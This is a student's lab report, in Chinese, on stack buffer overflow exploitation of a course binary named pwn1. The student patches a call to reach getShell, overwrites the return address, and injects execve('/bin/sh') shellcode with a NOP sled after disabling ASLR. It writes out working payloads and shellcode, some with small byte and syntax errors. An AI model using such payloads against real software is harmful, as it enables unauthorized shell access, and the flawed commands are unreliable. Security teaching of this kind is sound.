20242412 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242412 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
本次实验涉及的核心知识点总结如下:
(1)缓冲区溢出(Buffer Overflow)
程序向缓冲区写入数据时,超出了缓冲区的边界,覆盖了相邻内存区域的值。当被覆盖的内存区域恰好是函数返回地址时,攻击者就可以劫持程序执行流,让程序跳转到任意地址执行代码。
(2)栈帧结构
函数调用时会在栈上创建一个栈帧,从高地址到低地址依次是:返回地址、旧 ebp、局部变量(缓冲区)。栈是向下增长的,所以往缓冲区写数据写多了,会先覆盖旧 ebp,再覆盖返回地址。
(3)getShell
程序中预置的一段代码,调用 system("/bin/sh") 直接启动一个 shell。正常执行流程不会走到这里,我们通过修改程序流程或溢出攻击让它被执行。
(4)NOP 滑行(NOP Sled)
在 shellcode 前面放一串 NOP 指令(机器码 0x90)。即使返回地址不是精确指向 shellcode 的开头,只要落在 NOP 区域内,CPU 就会一路滑下去执行到 shellcode,提高攻击成功率。
(5)shellcode
一段机器码,功能是启动一个 shell。经典的 Linux 32 位 execve("/bin/sh") shellcode 长度约 23-25 字节。
(6)ASLR(地址空间随机化)
Linux 的安全保护机制,每次运行程序时随机化栈、库的起始地址。调试时需要关闭,否则栈地址每次都变,算出的返回地址会失效。
(7)常用汇编指令及机器码
本实验涉及的核心汇编指令机器码如下,修改可执行文件时需要直接操作这些字节:
| 指令 | 机器码(十六进制) | 说明 |
|---|---|---|
| NOP | 0x90 |
空操作,占用一个字节,常用于 NOP 滑行 |
| JMP 短跳转 | 0xeb + 1字节偏移 |
跳转到当前地址 ±127 字节范围内 |
| JMP 近跳转 | 0xe9 + 4字节偏移 |
32位地址空间内跳转,本实验修改 call 指令时用到 |
| JE / JZ | 0x74 |
相等/为零则跳转(jump if equal / zero) |
| JNE / JNZ | 0x75 |
不相等/非零则跳转(jump if not equal / not zero) |
| CALL | 0xe8 + 4字节偏移 |
函数调用,把返回地址压栈后跳转 |
| RET | 0xc3 |
函数返回,从栈顶弹出返回地址送入 eip |
| CMP | 0x38/0x39/0x3a/0x3b |
比较两个操作数,结果影响标志位 |
| PUSH | 0x50~0x57 |
将寄存器/立即数压入栈 |
| POP | 0x58~0x5f |
从栈顶弹出数据到寄存器 |
| MOV | 0x89/0x8b |
数据传送,寄存器间或内存与寄存器间赋值 |
其中 CALL 和 JMP 的偏移量计算方式相同:偏移量 = 目标地址 - 下一条指令地址,结果以补码形式的 32 位小端序存储在操作码后面。
(8)常用工具
objdump -d:反汇编可执行文件,查看汇编代码和地址xxd/hexedit:十六进制查看和编辑工具gdb:GNU 调试器,用于动态调试程序perl -e 'print ...':快速生成二进制 payload
2. 实验内容
本次实践的对象是名为 pwn1 的 Linux 可执行文件。该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。程序中还包含另一个代码片段 getShell,会返回一个可用 Shell,正常情况下不会被运行。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
- 利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
- 注入自己制作的 shellcode,并运行这段 shellcode。
3. 实验过程
3.1 准备工作
将实验文件 pwn1 复制到学号命名的目录下,查看文件基本信息。
确认文件是 32 位 ELF 格式(elf32-i386),适合做栈溢出实验。

3.2 任务一:手工修改可执行文件,跳转到 getShell
3.2.1 反汇编查看程序结构
用 objdump -d pwn1 反汇编,找到关键函数地址:

从反汇编结果可以看到:
getShell函数地址:0x0804847dfoo函数地址:0x08048491
继续查看 main 函数:

main 函数中有一条 call foo 指令,地址在 0x080484ba 附近,机器码是 e8 d8 ff ff ff。这条指令的含义是:调用当前地址 + 偏移量处的函数。
我们的目标:把这条 call foo 改成 call getShell,这样 main 直接调用 getShell,就拿到 shell 了。
3.2.2 计算需要修改的机器码
原来的 call foo:
- 指令地址:
0x080484b5 - 下一条指令地址:
0x080484ba - foo 地址:
0x08048491 - 偏移量 = foo - 下一条指令 =
0x08048491 - 0x080484ba = 0xffffffd7(补码表示)
改成 call getShell:
- getShell 地址:
0x0804847d - 新偏移量 = getShell - 下一条指令 =
0x0804847d - 0x080484ba = 0xffffffc3
所以只需要把 call 指令后面的 4 字节偏移量从 d7 ff ff ff 改成 c3 ff ff ff。
3.2.3 用十六进制编辑器修改文件
用 vi 打开 pwn1:

切换到十六进制模式(:%!xxd),找到对应的位置:

找到 e8 d7 ff ff ff 这一串(call 指令的机器码),把偏移量部分改成 e8 c3 ff ff。
修改完成后,用 :%!xxd -r 切回正常模式,保存退出。
3.2.4 验证修改结果
反汇编修改后的文件 pwn2,确认 call 指令已经指向 getShell:

可以看到 main 里的 call 指令已经变成了 call 804847d <getShell>。
运行修改后的程序:

直接拿到了 shell($ 提示符),任务一完成。
3.3 任务二:利用 Bof 漏洞,覆盖返回地址触发 getShell
3.3.1 gdb 动态调试分析
启动 gdb 调试原始的 pwn1:

运行程序,输入一串数字测试溢出效果:
1111111122222222333333334444444412345678
程序崩溃后查看寄存器:

关键发现:
eip = 0x34333231- 这个值正好是输入字符串里 '1','2','3','4' 的 ASCII 码(小端序)
这说明我们的输入已经成功覆盖了返回地址,eip 完全可控。
3.3.2 构造 payload
现在我们要把返回地址改成 getShell 的地址 0x0804847d。
小端序下,getShell 地址写出来是:\x7d\x84\x04\x08
用 perl 生成 payload:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08" > input'
这里前面的填充字节数根据之前溢出测试的结果来定,正好填到返回地址的位置。
运行攻击:
(cat input;cat) | ./pwn1
成功跳转到 getShell,拿到 shell。
3.4 任务三:注入自己制作的 shellcode
3.4.1 关闭 ASLR
因为栈地址每次运行都会随机化,所以调试前先关闭 ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
确认输出为 0,说明关闭成功。
3.4.2 构造带 shellcode 的 payload
经典的 Linux 32 位 execve("/bin/sh") shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
payload 结构:
[填充字节] + [返回地址(指向栈上 shellcode)] + [NOP sled] + [shellcode]
用 perl 生成:

perl -e 'print "A" x 52 . "\xc8\xd4\xff\xbf" . "\x90" x 40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . > input_shellcode
运行:
./pwn1 < input_shellcode
程序成功执行 shellcode,启动 shell。
4. 问题及解决方案
- 问题1:apt 安装 gobuster 报 "Unable to locate package"
现象:执行 sudo apt install gobuster 报错,说找不到包。
原因:Kali 官方源服务器在国外,虚拟机里直连超时,apt 本地索引没更新成功。
- 问题1解决方案:换成清华 TUNA 镜像源。
echo "deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
sudo apt update
换源后更新速度明显变快,包也能找到了。
- 问题2:gdb 里直接输入数字报 "Undefined command"
现象:在 gdb 的 (gdb) 提示符后面输入 1111111222222...,gdb 报 "Undefined command"。
原因:(gdb) 是调试器自己的命令行,不是给被调试程序输入的地方。gdb 把数字当成调试命令来解析,当然不认识。
- 问题2解决方案:
想给程序喂输入,先run启动程序,等程序运行到等待输入时再敲
或者用重定向:run < input.txt
调试完直接退出 gdb,在普通终端里./pwn1 < input更方便
- 问题3:关闭 ASLR 时 permission denied
现象:执行 echo 0 > /proc/sys/kernel/randomize_va_space 报权限不够。
原因:/proc/sys/ 是内核参数目录,只有 root 能写。
- 问题3解决方案:加 sudo,注意重定向要配合 tee 使用:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
不能直接 sudo echo 0 > ...,因为 > 是 shell 做的,sudo 管不到重定向。
- 问题4:构造 payload 后段错误,拿不到 shell
现象:按照实验指导的偏移量填了 32 个 A,然后写返回地址,但运行后还是段错误,eip 是一串奇怪的值。
原因:实际偏移量和实验指导里的不一样。Kali 版本、编译参数不同,缓冲区到返回地址的距离会变。实验里是 32 字节,实际可能是 52 字节左右。填少了返回地址没写到正确位置,被后面的 NOP/shellcode 盖住了。
- 问题4解决方案:
- 在 gdb 里崩溃后用
x/20xw $esp-16看栈上的实际布局 - 反推真实偏移量,调整填充字节数
- NOP sled 写长一点(比如 40 个
\x90),地址偏一点也能滑过去
5. 学习感悟、思考等
这次实验是我第一次真正动手做栈溢出攻击,从一开始连 apt 源都配不好,到最后能自己构造 payload 拿到 shell,整个过程踩了不少坑,也学到了很多。
最大的感受是:理论和实践的差距真的很大。上课听老师讲栈溢出原理,觉得"不就是覆盖返回地址嘛",真自己上手才知道,偏移量差一个字节都不行,小端序写反了也不行,ASLR 没关也不行,NOP 不够长也不行。每一个小细节都可能导致前功尽弃。
还有一点体会:调试比盲猜重要得多。一开始我照着实验指导抄命令,结果跑不通,就哪里都不敢动。后来学会了在 gdb 里 info r 看寄存器、x/20xw $esp 看栈内容,慢慢就能自己定位问题了。eip 是什么值,栈上布局是什么样,一看就知道哪里错了。
另外,安全防护和漏洞利用其实是一体两面。我们这次做实验要关 ASLR、要确认栈可执行,恰恰说明这些保护机制是有用的。真实环境里攻击者面对的防护比这复杂得多,也更能理解为什么现在的系统默认开这么多保护。

浙公网安备 33010602011771号